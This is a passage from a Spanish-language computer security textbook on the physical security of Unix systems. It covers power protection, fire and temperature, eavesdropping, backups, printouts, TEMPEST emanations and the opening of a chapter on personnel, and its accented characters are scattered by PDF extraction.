hacia el suelo de una sala o edificio, o simplemente hacia cualquier lugar con voltaje nulo. Una toma de tierra sencilla puede consistir en un buen conductor conectado a los chasis de los equipos a proteger y a una barra maciza, tambi´n conductora, que se introduce lo m´s e a posible en el suelo; el coste de la instalaci´n es peque˜o, especialmente si lo comparamos con las o n p´rdidas que supondr´ un incendio que afecte a todos o a una parte de nuestros equipos. e ıa Incluso teniendo un sistema protegido con los m´todos anteriores, si la subida de tensi´n dura e o demasiado, o si es demasiado r´pida, podemos sufrir da˜os en los equipos; existen acondicionadores a n de tensi´n comerciales que protegen de los picos hasta en los casos m´s extremos, y que tambi´n se o a e utilizan como filtros para ruido el´ctrico. Aunque en la mayor´ de situaciones no es necesario su e ıa uso, si nuestra organizaci´n tiene problemas por el voltaje excesivo quiz´s sea conveniente instalar o a alguno de estos aparatos. Un problema que los estabilizadores de tensi´n o las tomas de tierra no pueden solucionar es o justamente el contrario a las subidas de tensi´n: las bajadas, situaciones en las que la corriente o desciende por debajo del voltaje necesario para un correcto funcionamiento del sistema, pero sin llegar a ser lo suficientemente bajo para que la m´quina se apague ([SBL90]). En estas situaciones a la m´quina se va a comportar de forma extra˜a e incorrecta, por ejemplo no aceptando algunas a n instrucciones, no completando escrituras en disco o memoria, etc. Es una situaci´n similar a la de o
- 45. ´ 2.2. PROTECCION DEL HARDWARE 27 una bombilla que pierde intensidad moment´neamente por falta de corriente, pero trasladada a un a sistema que en ese peque˜o intervalo ejecuta miles o millones de instrucciones y transferencias de n datos. Otro problema, much´ ısimo m´s habituales que los anteriores en redes el´ctricas modernas, son a e los cortes en el fluido el´ctrico que llega a nuestros equipos. Aunque un simple corte de corriente e no suele afectar al hardware, lo m´s peligroso (y que sucede en muchas ocasiones) son las idas y a venidas r´pidas de la corriente; en esta situaci´n, aparte de perder datos, nuestras m´quinas pueden a o a sufrir da˜os. n La forma m´s efectiva de proteger nuestros equipos contra estos problemas de la corriente el´ctrica a e es utilizar una SAI (Servicio de Alimentaci´n Ininterrumpido) conectada al elemento que quere- o mos proteger. Estos dispositivos mantienen un flujo de corriente correcto y estable de corriente, protegiendo as´ los equipos de subidas, cortes y bajadas de tensi´n; tienen capacidad para seguir ı o alimentando las m´quinas incluso en caso de que no reciban electricidad (evidentemente no las a alimentan de forma indefinida, sino durante un cierto tiempo – el necesario para detener el sistema de forma ordenada). Por tanto, en caso de fallo de la corriente el SAI informar´ a la m´quina Unix, a a que a trav´s de un programa como /sbin/powerd recibe la informaci´n y decide cuanto tiempo de e o corriente le queda para poder pararse correctamente; si de nuevo vuelve el flujo la SAI vuelve a informar de este evento y el sistema desprograma su parada. As´ de simple: por poco m´s de diez ı a mil pesetas podemos obtener una SAI peque˜a, m´s que suficiente para muchos servidores, que nos n a va a librar de la mayor´ de los problemas relacionados con la red el´ctrica. ıa e Un ultimo problema contra el que ni siquiera las SAIs nos protegen es la corriente est´tica, un ´ a fen´meno extra˜o del que la mayor´ de gente piensa que no afecta a los equipos, s´lo a otras per- o n ıa o sonas. Nada m´s lejos de la realidad: simplemente tocar con la mano la parte met´lica de teclado a a o un conductor de una placa puede destruir un equipo completamente. Se trata de corriente de muy poca intensidad pero un alt´ ısimo voltaje, por lo que aunque la persona no sufra ning´n da˜o u n – s´lo un peque˜o calambrazo – el ordenador sufre una descarga que puede ser suficiente para o n destrozar todos sus componentes, desde el disco duro hasta la memoria RAM. Contra el problema de la corriente est´tica existen muchas y muy baratas soluciones: spray antiest´tico, ionizadores a a antiest´ticos. . . No obstante en la mayor´ de situaciones s´lo hace falta un poco de sentido com´n a ıa o u del usuario para evitar accidentes: no tocar directamente ninguna parte met´lica, protegerse si a debe hacer operaciones con el hardware, no mantener el entorno excesivamente seco. . . Ruido el´ctrico e Dentro del apartado anterior podr´ ıamos haber hablado del ruido el´ctrico como un problema m´s e a relacionado con la electricidad; sin embargo este problema no es una incidencia directa de la cor- riente en nuestros equipos, sino una incidencia relacionada con la corriente de otras m´quinas que a pueden afectar al funcionamiento de la nuestra. El ruido el´ctrico suele ser generado por motores o e por maquinaria pesada, pero tambi´n puede serlo por otros ordenadores o por multitud de aparatos, e especialmente muchos de los instalados en los laboratorios de organizaciones de I+D, y se transmite a trav´s del espacio o de l´ e ıneas el´ctricas cercanas a nuestra instalaci´n. e o Para prevenir los problemas que el ruido el´ctrico puede causar en nuestros equipos lo m´s barato e a es intentar no situar hardware cercano a la maquinaria que puede causar dicho ruido; si no tenemos m´s remedio que hacerlo, podemos instalar filtros en las l´ a ıneas de alimentaci´n que llegan hasta o los ordenadores. Tambi´n es recomendable mantener alejados de los equipos dispositivos emisores e de ondas, como tel´fonos m´viles, transmisores de radio o walkie-talkies; estos elementos puede e o incluso da˜ar permanentemente a nuestro hardware si tienen la suficiente potencia de transmisi´n, n o o influir directamente en elementos que pueden da˜arlo como detectores de incendios o cierto tipo n de alarmas.
- 46. 28 CAP´ ITULO 2. SEGURIDAD F´ ISICA DE LOS SISTEMAS Incendios y humo Una causa casi siempre relacionada con la electricidad son los incendios, y con ellos el humo; aunque la causa de un fuego puede ser un desastre natural, lo habitual en muchos entornos es que el mayor peligro de incendio provenga de problemas el´ctricos por la sobrecarga de la red debido al gran e n´mero de aparatos conectados al tendido. Un simple cortocircuito o un equipo que se calienta u demasiado pueden convertirse en la causa directa de un incendio en el edificio, o al menos en la planta, donde se encuentran invertidos millones de pesetas en equipamiento. Un m´todo efectivo contra los incendios son los extintores situados en el techo, que se activan e autom´ticamente al detectar humo o calor. Algunos de ellos, los m´s antiguos, utilizaban agua a a para apagar las llamas, lo que provocaba que el hardware no llegara a sufrir los efectos del fuego si los extintores se activaban correctamente, pero que quedara destrozado por el agua expulsada. Visto este problema, a mitad de los ochenta se comenzaron a utilizar extintores de hal´n; este o compuesto no conduce electricidad ni deja residuos, por lo que resulta ideal para no da˜ar losn equipos. Sin embargo, tambi´n el hal´n presentaba problemas: por un lado, resulta excesivamente e o contaminante para la atm´sfera, y por otro puede axfisiar a las personas a la vez que acaba con el o fuego. Por eso se han sustituido los extintores de hal´n (aunque se siguen utilizando mucho hoy en o d´ por extintores de di´xido de carbono, menos contaminante y menos perjudicial. De cualquier ıa) o forma, al igual que el hal´n el di´xido de carbono no es precisamente sano para los humanos, por o o lo que antes de activar el extintor es conveniente que todo el mundo abandone la sala; si se trata de sistemas de activaci´n autom´tica suelen avisar antes de expulsar su compuesto mediante un pitido. o a Aparte del fuego y el calor generado, en un incendio existe un tercer elemento perjudicial para los equipos: el humo, un potente abrasivo que ataca especialmente los discos magn´ticos y ´pticos. e o Quiz´s ante un incendio el da˜o provocado por el humo sea insignificante en comparaci´n con el a n o causado por el fuego y el calor, pero hemos de recordar que puede existir humo sin necesidad de que haya un fuego: por ejemplo, en salas de operaciones donde se fuma. Aunque muchos no apliquemos esta regla y fumemos demasiado – siempre es demasiado – delante de nuestros equipos, ser´ con- ıa veniente no permitir esto; aparte de la suciedad generada que se deposita en todas las partes de un ordenador, desde el teclado hasta el monitor, generalmente todos tenemos el cenicero cerca de los equipos, por lo que el humo afecta directamente a todos los componentes; incluso al ser algo m´s a habitual que un incendio, se puede considerar m´s perjudicial – para los equipos y las personas – a el humo del tabaco que el de un fuego. En muchos manuales de seguridad se insta a los usuarios, administradores, o al personal en general a intentar controlar el fuego y salvar el equipamiento; esto tiene, como casi todo, sus pros y sus contras. Evidentemente, algo l´gico cuando estamos ante un incendio de peque˜as dimensiones es o n intentar utilizar un extintor para apagarlo, de forma que lo que podr´ haber sido una cat´strofe ıa a sea un simple susto o un peque˜o accidente. Sin embargo, cuando las dimensiones de las llamas son n considerables lo ultimo que debemos hacer es intentar controlar el fuego nosotros mismos, arries- ´ gando vidas para salvar hardware; como suced´ en el caso de inundaciones, no importa el precio ıa de nuestros equipos o el valor de nuestra informaci´n: nunca ser´n tan importantes como una vida o a humana. Lo m´s recomendable en estos casos es evacuar el lugar del incendio y dejar su control en a manos de personal especializado. Temperaturas extremas No hace falta ser un genio para comprender que las temperaturas extremas, ya sea un calor excesi- vo o un frio intenso, perjudican gravemente a todos los equipos. Es recomendable que los equipos operen entre 10 y 32 grados Celsius ([GS96]), aunque peque˜as variaciones en este rango tampoco n han de influir en la mayor´ de sistemas. ıa Para controlar la temperatura ambiente en el entorno de operaciones nada mejor que un acondi- cionador de aire, aparato que tambi´n influir´ positivamente en el rendimiento de los usuar- e a ios (las personas tambi´n tenemos rangos de temperaturas dentro de los cuales trabajamos m´s e a c´modamente). Otra condici´n b´sica para el correcto funcionamiento de cualquier equipo que ´ste o o a e se encuentre correctamente ventilado, sin elementos que obstruyan los ventiladores de la CPU. La
- 47. ´ 2.3. PROTECCION DE LOS DATOS 29 organizaci´n f´ o ısica del computador tambi´n es decisiva para evitar sobrecalentamientos: si los dis- e cos duros, elementos que pueden alcanzar temperaturas considerables, se encuentran excesivamente cerca de la memoria RAM, es muy probable que los m´dulos acaben quem´ndose. o a 2.3 Protecci´n de los datos o La seguridad f´ ısica tambi´n implica una protecci´n a la informaci´n de nuestro sistema, tanto a e o o la que est´ almacenada en ´l como a la que se transmite entre diferentes equipos. Aunque los a e apartados comentados en la anterior secci´n son aplicables a la protecci´n f´ o o ısica de los datos (ya que no olvidemos que si protegemos el hardware tambi´n protegemos la informaci´n que se almacena e o o se transmite por ´l), hay ciertos aspectos a tener en cuenta a la hora de dise˜ar una pol´ e n ıtica de seguridad f´ ısica que afectan principalmente, aparte de a los elementos f´ ısicos, a los datos de nuestra organizaci´n; existen ataques cuyo objetivo no es destruir el medio f´ o ısico de nuestro sistema, sino simplemente conseguir la informaci´n almacenada en dicho medio. o 2.3.1 Eavesdropping La interceptaci´n o eavesdropping, tambi´n conocida por passive wiretapping ([CES91]) es un pro- o e ceso mediante el cual un agente capta informaci´n – en claro o cifrada – que no le iba dirigida; esta o captaci´n puede realizarse por much´ o ısimos medios (por ejemplo, capturando las radiaciones elec- tromagn´ticas, como veremos luego). Aunque es en principio un ataque completamente pasivo, lo e m´s peligroso del eavesdropping es que es muy dif´ de detectar mientras que se produce, de forma a ıcil que un atacante puede capturar informaci´n privilegiada y claves para acceder a m´s informaci´n o a o sin que nadie se de cuenta hasta que dicho atacante utiliza la informaci´n capturada, convirtiendo o el ataque en activo. Un medio de interceptaci´n bastante habitual es el sniffing, consistente en capturar tramas que o circulan por la red mediante un programa ejecut´ndose en una m´quina conectada a ella o bien a a mediante un dispositivo que se engancha directamente el cableado4 . Estos dispositivos, denomina- dos sniffers de alta impedancia, se conectan en paralelo con el cable de forma que la impedancia total del cable y el aparato es similar a la del cable solo, lo que hace dif´ su detecci´n. Contra ıcil o estos ataques existen diversas soluciones; la m´s barata a nivel f´ a ısico es no permitir la existencia de segmentos de red de f´cil acceso, lugares id´neos para que un atacante conecte uno de estos a o aparatos y capture todo nuestro tr´fico. No obstante esto resulta dif´ en redes ya instaladas, a ıcil donde no podemos modificar su arquitectura; en estos existe una soluci´n generalmente gratuita o pero que no tiene mucho que ver con el nivel f´ ısico: el uso de aplicaciones de cifrado para realizar las comunicaciones o el almacenamiento de la informaci´n (hablaremos m´s adelante de algunas de o a ellas). Tampoco debemos descuidar las tomas de red libres, donde un intruso con un portatil puede conectarse para capturar tr´fico; es recomendable analizar regularmente nuestra red para verificar a que todas las m´quinas activas est´n autorizadas. a a Como soluciones igualmente efectivas contra la interceptaci´n a nivel f´ o ısico podemos citar el uso de dispositivos de cifra (no simples programas, sino hardware), generalmente chips que implementan algoritmos como des; esta soluci´n es muy poco utilizada en entornos de I+D, ya que es much´ o ısimo m´s cara que utilizar implementaciones software de tales algoritmos y en muchas ocasiones la unica a ´ diferencia entre los programas y los dispositivos de cifra es la velocidad. Tambi´n se puede utilizar, e como soluci´n m´s cara, el cableado en vac´ para evitar la interceptaci´n de datos que viajan por o a ıo o la red: la idea es situar los cables en tubos donde artificialmente se crea el vac´ o se inyecta aire a ıo presi´n; si un atacante intenta ‘pinchar’ el cable para interceptar los datos, rompe el vac´ o el nivel o ıo de presi´n y el ataque es detectado inmediatamente. Como decimos, esta soluci´n es enormemente o o cara y s´lamente se aplica en redes de per´ o ımetro reducido para entornos de alta seguridad. Antes de finalizar este punto debemos recordar un peligro que muchas veces se ignora: el de la interceptaci´n de datos emitidos en forma de sonido o simple ruido en nuestro entorno de opera- o ciones. Imaginemos una situaci´n en la que los responsables de la seguridad de nuestra organizaci´n o o 4 En este caso tambi´n se suele llamar a esta actividad wiretapping. e
- 48. 30 CAP´ ITULO 2. SEGURIDAD F´ ISICA DE LOS SISTEMAS se reunen para discutir nuevos mecanismos de protecci´n; todo lo que en esa reuni´n se diga puede o o ser capturado por multitud de m´todos, algunos de los cuales son tan simples que ni siquiera se con- e templan en los planes de seguridad. Por ejemplo, una simple tarjeta de sonido instalada en un PC situado en la sala de reuniones puede transmitir a un atacante todo lo que se diga en esa reuni´n;o mucho m´s simple y sencillo: un tel´fono mal colgado – intencionada o inintencionadamente – a e tambi´n puede transmitir informaci´n muy util para un potencial enemigo. Para evitar estos prob- e o ´ lemas existen numerosos m´todos: por ejemplo, en el caso de los tel´fonos fijos suele ser suficiente e e un poco de atenci´n y sentido com´n, ya que basta con comprobar que est´n bien colgados. . . o o u a incluso desconectados de la red telef´nica. El caso de los m´viles suele ser algo m´s complejo de o o a controlar, ya que su peque˜o tama˜o permite camuflarlos f´cilmente; no obstante, podemos instalar n n a en la sala de reuniones un sistema de aislamiento para bloquear el uso de estos tel´fonos: se trata e de sistemas que ya se utilizan en ciertos entornos (por ejemplo en conciertos musicales) para evitar las molestias de un m´vil sonando, y que trabajan bloqueando cualquier transmisi´n en los rangos o o de frecuencias en los que trabajan los diferentes operadores telef´nicos. Otra medida preventiva (ya o no para voz, sino para prevenir la fuga de datos v´ el ruido ambiente) muy util – y no muy cara – ıa ´ puede ser sustituir todos los tel´fonos fijos de disco por tel´fonos de teclado, ya que el ruido de un e e disco al girar puede permitir a un pirata deducir el n´mero de tel´fono marcado desde ese aparato. u e 2.3.2 Backups En este apartado no vamos a hablar de las normas para establecer una pol´ ıtica de realizaci´n de o copias de seguridad correcta, ni tampoco de los mecanismos necesarios para implementarla o las precauciones que hay que tomar para que todo funcione correctamente; el tema que vamos a tratar en este apartado es la protecci´n f´ o ısica de la informaci´n almacenada en backups, esto es, de la o protecci´n de los diferentes medios donde residen nuestras copias de seguridad. Hemos de tener o siempre presente que si las copias contienen toda nuestra informaci´n tenemos que protegerlas igual o que protegemos nuestros sistemas. Un error muy habitual es almacenar los dispositivos de backup en lugares muy cercanos a la sala de operaciones, cuando no en la misma sala; esto, que en principio puede parecer correcto (y c´modo si o necesitamos restaurar unos archivos) puede convertirse en un problema: imaginemos simplemente que se produce un incendio de grandes dimensiones y todo el edificio queda reducido a cenizas. En este caso extremo tendremos que unir al problema de perder todos nuestros equipos – que segura- mente cubrir´ el seguro, por lo que no se puede considerar una cat´strofe – el perder tambi´n todos a a e nuestros datos, tanto los almacenados en los discos como los guardados en backups (esto evidente- mente no hay seguro que lo cubra). Como podemos ver, resulta recomendable guardar las copias de seguridad en una zona alejada de la sala de operaciones, aunque en este caso descentralizemos la seguridad y tengamos que proteger el lugar donde almacenamos los backups igual que protegemos la propia sala o los equipos situados en ella, algo que en ocasiones puede resultar caro. Tambi´n suele ser com´n etiquetar las cintas donde hacemos copias de seguridad con abundante e u informaci´n sobre su contenido (sistemas de ficheros almacenados, d´ y hora de la realizaci´n, sis- o ıa o tema al que corresponde. . . ); esto tiene una parte positiva y una negativa. Por un lado, recuperar un fichero es r´pido: s´lo tenemos que ir leyendo las etiquetas hasta encontrar la cinta adecuada. a o Sin embargo, si nos paramos a pensar, igual que para un administrador es f´cil encontrar el backup a deseado tambi´n lo es para un intruso que consiga acceso a las cintas, por lo que si el acceso a las e mismas no est´ bien restringido un atacante lo tiene f´cil para sustraer una cinta con toda nuestra a a informaci´n; no necesita saltarse nuestro cortafuegos, conseguir una clave del sistema o chantajear o a un operador: nosotros mismos le estamos poniendo en bandeja toda nuestros datos. No obstante, ahora nos debemos plantear la duda habitual: si no etiqueto las copias de seguridad, ¿c´mo puedo o elegir la que debo restaurar en un momento dado? Evidentemente, se necesita cierta informaci´n o en cada cinta para poder clasificarlas, pero esa informaci´n nunca debe ser algo que le facilite la o tarea a un atacante; por ejemplo, se puede dise˜ar cierta codificaci´n que s´lo conozcan las personas n o o responsables de las copias de seguridad, de forma que cada cinta vaya convenientemente etiquetada, pero sin conocer el c´digo sea dif´ imaginar su contenido. Aunque en un caso extremo el atacante o ıcil puede llevarse todos nuestros backups para analizarlos uno a uno, siempre es m´s dif´ disimular a ıcil una carretilla llena de cintas de 8mm que una peque˜a unidad guardada en un bolsillo. Y si a´n n u
- 49. ´ 2.3. PROTECCION DE LOS DATOS 31 pensamos que alguien puede sustraer todas las copias, simplemente tenemos que realizar backups cifrados. . . y controlar m´s el acceso al lugar donde las guardamos. a 2.3.3 Otros elementos En muchas ocasiones los responsables de seguridad de los sistemas tienen muy presente que la in- formaci´n a proteger se encuentra en los equipos, en las copias de seguridad o circulando por la o red (y por lo tanto toman medidas para salvaguardar estos medios), pero olvidan que esa infor- maci´n tambi´n puede encontrarse en lugares menos obvios, como listados de impresora, facturas o e telef´nicas o la propia documentaci´n de una m´quina. o o a Imaginemos una situaci´n muy t´ o ıpica en los sistemas Unix: un usuario, desde su terminal o el equipo de su despacho, imprime en el servidor un documento de cien p´ginas, documento que ya de a entrada ning´n operador comprueba – y quiz´s no pueda comprobar, ya que se puede comprometer u a la privacidad del usuario – pero que puede contener, disimuladamente, una copia de nuestro fichero de contrase˜as. Cuando la impresi´n finaliza, el administrador lleva el documento fuera de la sala n o de operaciones, pone como portada una hoja con los datos del usuario en la m´quina (login perfec- a tamente visible, nombre del fichero, hora en que se lanz´. . . ) y lo deja, junto a los documentos que o otros usuarios han imprimido – y con los que se ha seguido la misma pol´ ıtica – en una estanter´ ıa perdida en un pasillo, lugar al que cualquier persona puede acceder con total libertad y llevarse la impresi´n, leerla o simplemente curiosear las portadas de todos los documentos. As´ de repente, o ı, a nadie se le escapan bastante problemas de seguridad derivados de esta pol´ ıtica: sin entrar en lo que un usuario pueda imprimir – que repetimos, quiz´s no sea legal, o al menos ´tico, curiosear –, a e cualquiera puede robar una copia de un proyecto o un examen5 , obtener informaci´n sobre nuestros o sistemas de ficheros y las horas a las que los usuarios suelen trabajar, o simplemente descubrir, simplemente pasando por delante de la estanter´ diez o veinte nombres v´lidos de usuario en ıa, a nuestras m´quinas; todas estas informaciones pueden ser de gran utilidad para un atacante, que a por si fuera poco no tiene que hacer nada para obtenerlas, simplemente darse un paseo por el lugar donde depositamos las impresiones. Esto, que a muchos les puede parecer una exageraci´n, no es ni o m´s ni menos la pol´ a ıtica que se sigue en muchas organizaciones hoy en d´ e incluso en centros de ıa, proceso de datos, donde a priori ha de haber una mayor concienciaci´n por la seguridad inform´tica. o a Evidentemente, hay que tomar medidas contra estos problemas. En primer lugar, las impreso- ras, plotters, faxes, teletipos, o cualquier dispositivo por el que pueda salir informaci´n de nuestro o sistema ha de estar situado en un lugar de acceso restringido; tambi´n es conveniente que sea de ac- e ceso restringido el lugar donde los usuarios recogen los documentos que lanzan a estos dispositivos. Ser´ conveniente que un usuario que recoge una copia se acredite como alguien autorizado a hacer- ıa lo, aunque quiz´s esto puede ser imposible, o al menos muy dif´ en grandes sistemas (imaginemos a ıcil, que en una m´quina con cinco mil usuarios obligamos a todo aqu´l que va a recoger una impresi´n a e o a identificarse y comprobamos que la identificaci´n es correcta antes de darle su documento. . . con o toda seguridad necesitar´ ıamos una persona encargada exclusivamente de este trabajo), siempre es conveniente demostrar cierto grado de inter´s por el destino de lo que sale por nuestra impresora: e sin llegar a realizar un control f´rreo, si un atacante sabe que el acceso a los documentos est´ e a m´ınimamente controlado se lo pensar´ dos veces antes de intentar conseguir algo que otro usuario a ha imprimido. Elementos que tambi´n pueden ser aprovechados por un atacante para comprometer nuestra seguri- e dad son todos aquellos que revelen informaci´n de nuestros sistemas o del personal que los utiliza, o como ciertos manuales (proporcionan versiones de los sistemas operativos utilizados), facturas de tel´fono del centro (pueden indicar los n´meros de nuestros m´dems) o agendas de operadores (reve- e u o lan los tel´fonos de varios usuarios, algo muy provechoso para alguien que intente efectuar ingenier´ e ıa social contra ellos). Aunque es conveniente no destruir ni dejar a la vista de todo el mundo esta informaci´n, si queremos eliminarla no podemos limitarnos a arrojar documentos a la papelera: en o el cap´ ıtulo siguiente hablaremos del basureo, algo que aunque parezca sacado de pel´ ıculas de esp´ ıas realmente se utiliza contra todo tipo de entornos. Es recomendable utilizar una trituradora de 5 Evidentemente, si alguien imprime un examen de esta forma, no tenemos un problema con nuestra pol´ ıtica sino con nuestros usuarios.
- 50. 32 CAP´ ITULO 2. SEGURIDAD F´ ISICA DE LOS SISTEMAS papel, dispositivo que dificulta much´ ısimo la reconstrucci´n y lectura de un documento destruido; o por poco dinero podemos conseguir uno de estos aparatos, que suele ser suficiente para acabar con cantidades moderadas de papel. 2.4 Radiaciones electromagn´ticas e Dentro del apartado 2.3.1 pod´ ıamos haber hablado del acceso no autorizado a los datos a trav´s e de las radiaciones que el hardware emite; sin embargo, este es un tema que ha cobrado especial importancia (especialmente en organismos militares) a ra´ del programa tempest, un t´rmino ız e (Transient ElectroMagnetic Pulse Emanation STandard) que identifica una serie de est´ndares del a gobierno estadounidense para limitar las radiaciones el´ctricas y electromagn´ticas del equipamien- e e to electr´nico, desde estaciones de trabajo hasta cables de red, pasando por terminales, mainframes, o ratones. . . La idea es sencilla: la corriente que circula por un conductor provoca un campo electromagn´ticoe alrededor del conductor, campo que var´ de la misma forma que lo hace la intensidad de la cor- ıa riente. Si situamos otro conductor en ese campo, sobre ´l se induce una se˜al que tambi´n var´ e n e ıa proporcionalmente a la intensidad de la corriente inicial; de esta forma, cualquier dispositivo elec- tr´nico (no s´lo el inform´tico) emite cont´ o o a ınuamente radiaciones a trav´s del aire o de conductores, e radiaciones que con el equipo adecuado se pueden captar y reproducir remotamente con la con- siguiente amenaza a la seguridad que esto implica. Conscientes de este problema – obviamente las emisiones de una batidora no son peligrosas para la seguridad, pero s´ que lo pueden ser las de ı un dipositivo de cifrado o las de un teclado desde el que se env´ mensajes confidenciales – en la ıen d´cada de los 50 el gobierno de Estados Unidos introdujo una serie de est´ndares para reducir estas e a radiaciones en los equipos destinados a almacenar, procesar o transmitir informaci´n que pudiera o comprometer la seguridad nacional. De esta forma, el hardware certificado tempest se suele usar con la informaci´n clasificada y confidencial de algunos sistemas gubernamentales para asegurar o que el eavesdropping electromagn´tico no va a afectar a privacidad de los datos. e Casi medio siglo despu´s de las primeras investigaciones sobre emanaciones de este tipo, casi to- e dos los paises desarrollados y organizaciones militares internacionales tienen programas similares a tempest con el mismo fin: proteger informaci´n confidencial. Para los gobiernos, esto es algo reser- o vado a informaciones militares, nunca a organizaciones ‘normales’ y mucho menos a particulares (la NRO, National Reconnaissance Office, elimin´ en 1992 los est´ndares tempest para dispositivos o a de uso dom´stico); sin embargo, y como ejemplo – algo extremo quiz´s – de hasta que punto un e a potencial atacante puede llegar a comprometer la informaci´n que circula por una red o que se o lee en un monitor, vamos a dar aqu´ unas nociones generales sobre el problema de las radiaciones ı electromagn´ticas. e Existen numerosos tipos de se˜ales electromagn´ticas; sin duda las m´s peligrosas son las de video y n e a las de transmisi´n serie, ya que por sus caracter´ o ısticas no es dif´ interceptarlas con el equipamien- ıcil to adecuado ([vE85] y [Smu90]). Otras se˜ales que a priori tambi´n son f´ciles de captar, como n e a las de enlaces por radiofrecuencia o las de redes basadas en infrarrojos, no presentan tantos prob- lemas ya que desde un principio los dise˜adores fueron conscientes de la facilidad de captaci´n y n o las amenazas a la seguridad que una captura implica; esta inseguridad tan palpable provoc´ la o r´pida aparici´n de mecanismos implementados para dificultar el trabajo de un atacante, como el a o salto en frecuencias o el espectro disperso ([KMM95]), o simplemente el uso de protocolos cifrados. Este tipo de emisiones quedan fuera del alcance de tempest, pero son cubiertas por otro est´ndara denominado nonstop, tambi´n del Departamento de Defensa estadounidense. e Sin embargo, nadie suele tomar precauciones contra la radiaci´n que emite su monitor, su im- o presora o el cable de su m´dem. Y son justamente las radiaciones de este hardware desprotegido las o m´s preocupantes en ciertos entornos, ya que lo unico que un atacante necesita para recuperarlas es a ´ el equipo adecuado. Dicho equipo puede variar desde esquemas extremadamente simples y baratos – pero efectivos – ([Hig88]) hasta complejos sistemas que en teor´ utilizan los servicios de inteligencia ıa de algunos pa´ ıses. La empresa Consumertronics (www.tsc-global.com) fabrica y vende diversos
- 51. ´ 2.4. RADIACIONES ELECTROMAGNETICAS 33 dispositivos de monitorizaci´n, entre ellos el basado en [vE85], que se puede considerar uno de los o pioneros en el mundo civil. Pero, ¿c´mo podemos protegernos contra el eavesdropping de las radiaciones electromagn´ticas o e de nuestro hardware? Existe un amplio abanico de soluciones, desde simples medidas de prevenci´n o hasta complejos – y caros – sistemas para apantallar los equipos. La soluci´n m´s barata y simple o a que podemos aplicar es la distancia: las se˜ales que se transmiten por el espacio son atenuadas n conforme aumenta la separaci´n de la fuente, por lo que si definimos un per´ o ımetro f´ ısico de seguri- dad lo suficientemente grande alrededor de una m´quina, ser´ dif´ para un atacante interceptar a a ıcil desde lejos nuestras emisiones. No obstante, esto no es aplicable a las se˜ales inducidas a trav´s n e de conductores, que aunque tambi´n se atenuan por la resistencia e inductancia del cableado, la e p´rdida no es la suficiente para considerar seguro el sistema. e Otra soluci´n consiste en la confusi´n: cuantas m´s se˜ales existan en el mismo medio, m´s o o a n a dif´ ser´ para un atacante filtrar la que est´ buscando; aunque esta medida no hace imposible la ıcil a a interceptaci´n, s´ que la dificulta enormemente. Esto se puede conseguir simplemente manteniendo o ı diversas piezas emisoras (monitores, terminales, cables. . . ) cercanos entre s´ y emitiendo cada una ı de ellas informaci´n diferente (si todas emiten la misma, facilitamos el ataque ya que aumentamos o la intensidad de la se˜al inducida). Tambi´n existe hardware dise˜ado expl´ n e n ıcitamente para crear ruido electromagn´tico, generalmente a trav´s de se˜ales de radio que enmascaran las radiaciones e e n emitidas por el equipo a proteger; dependiendo de las frecuencias utilizadas, quiz´s el uso de tales a dispositivos pueda ser ilegal: en todos los paises el espectro electromagn´tico est´ dividido en ban- e a das, cada una de las cuales se asigna a un determinado uso, y en muchas de ellas se necesita una licencia especial para poder transmitir. En Espa˜a estas licencias son otorgadas por la Secretar´ n ıa General de Comunicaciones, dependiente del Ministerio de Fomento. Por ultimo, la soluci´n m´s efectiva, y m´s cara, consiste en el uso de dispositivos certificados que ´ o a a aseguran m´ ınima emisi´n, as´ como de instalaciones que apantallan las radiaciones. En el hardware o ı hay dos aproximaciones principales para prevenir las emisiones: una es la utilizaci´n de circuitos o especiales que apenas emiten radiaci´n (denominados de fuente eliminada, source suppressed), y o la otra es la contenci´n de las radiaciones, por ejemplo aumentando la atenuaci´n; generalmente o o ambas aproximaciones se aplican conjuntamente ([Swi92]). En cuanto a las instalaciones utilizadas para prevenir el eavesdropping, la idea general es aplicar la contenci´n no s´lo a ciertos dispositivos, o o sino a un edificio o a una sala completa. Quiz´s la soluci´n m´s utilizada son las jaulas de Faraday a o a sobre lugares donde se trabaja con informaci´n sensible; se trata de separar el espacio en dos zonas o electromagn´ticamente aisladas (por ejemplo, una sala y el resto del espacio) de forma que fuera e de una zona no se puedan captar las emisiones que se producen en su interior. Para implementar esta soluci´n se utilizan materiales especiales, como algunas clases de cristal, o simplemente un o recubrimiento conductor conectado a tierra. Antes de finalizar este punto quiz´s es recomendable volver a insistir en que todos los problemas a y soluciones derivados de las radiaciones electromagn´ticas no son aplicables a los entornos o em- e presas normales, sino que est´n pensados para lugares donde se trabaja con informaci´n altamente a o confidencial, como ciertas empresas u organismos militares o de inteligencia. Aqu´ simplemente ı se han presentado como una introducci´n para mostrar hasta donde puede llegar la preocupaci´n o o por la seguridad en esos lugares. La radiaci´n electromagn´tica no es un riesgo importante en la o e mayor´ de organizaciones ya que suele tratarse de un ataque costoso en tiempo y dinero, de forma ıa que un atacante suele tener muchas otras puertas para intentar comprometer el sistema de una forma m´s f´cil. a a
- 52. 34 CAP´ ITULO 2. SEGURIDAD F´ ISICA DE LOS SISTEMAS
- 53. Cap´ ıtulo 3 Administradores, usuarios y personal 3.1 Introducci´n o Con frecuencia se suele afirmar, y no es una exageraci´n ([And94]), que el punto m´s d´bil de o a e cualquier sistema inform´tico son las personas relacionadas en mayor o menor medida con ´l; desde a e un administrador sin una preparaci´n adecuada o sin la suficiente experiencia, hasta un guardia o de seguridad que ni siquiera tiene acceso l´gico al sistema, pero que deja acceder a todo el mundo o a la sala de operaciones, pasando por supuesto por la gran mayor´ de usuarios, que no suelen ıa conscientes de que la seguridad tambi´n les concierne a ellos. Frente a cada uno de estos grupos e (administradores, usuarios y personal externo al sistema) un potencial atacante va a comportarse de una forma determinada para conseguir lograr sus objetivos, y sobre cada uno de ellos ha de aplicarse una pol´ıtica de seguridad diferente: obviamente podemos exigir a un administrador de sistemas un- os conocimientos m´s o menos profundos de temas relacionados con la seguridad inform´tica, pero a a esos conocimientos han de ser diferentes para el guardia de seguridad (sus conocimientos ser´ ıan referentes a la seguridad f´ısica del entorno), y se convierten en simples nociones b´sicas si se trata a de un usuario medio. Hasta ahora hemos hablado de posibles ataques relacionados con el personal de un sistema in- form´tico; sin embargo, existen otras amenazas a la seguridad provenientes de ese personal que a no son necesariamente ataques en un sentido estricto de la palabra; en muchos casos no son in- tencionados, se podr´ catalogar como accidentes, pero el que la amenaza no sea intencionada no ıan implica que no se deba evitar: decir ‘no lo hice a prop´sito’ no va ayudar para nada a recuperar o unos datos perdidos. En una sala de operaciones, las personas realizan acciones sobre los sistemas bas´ndose – en muchos casos – unicamente 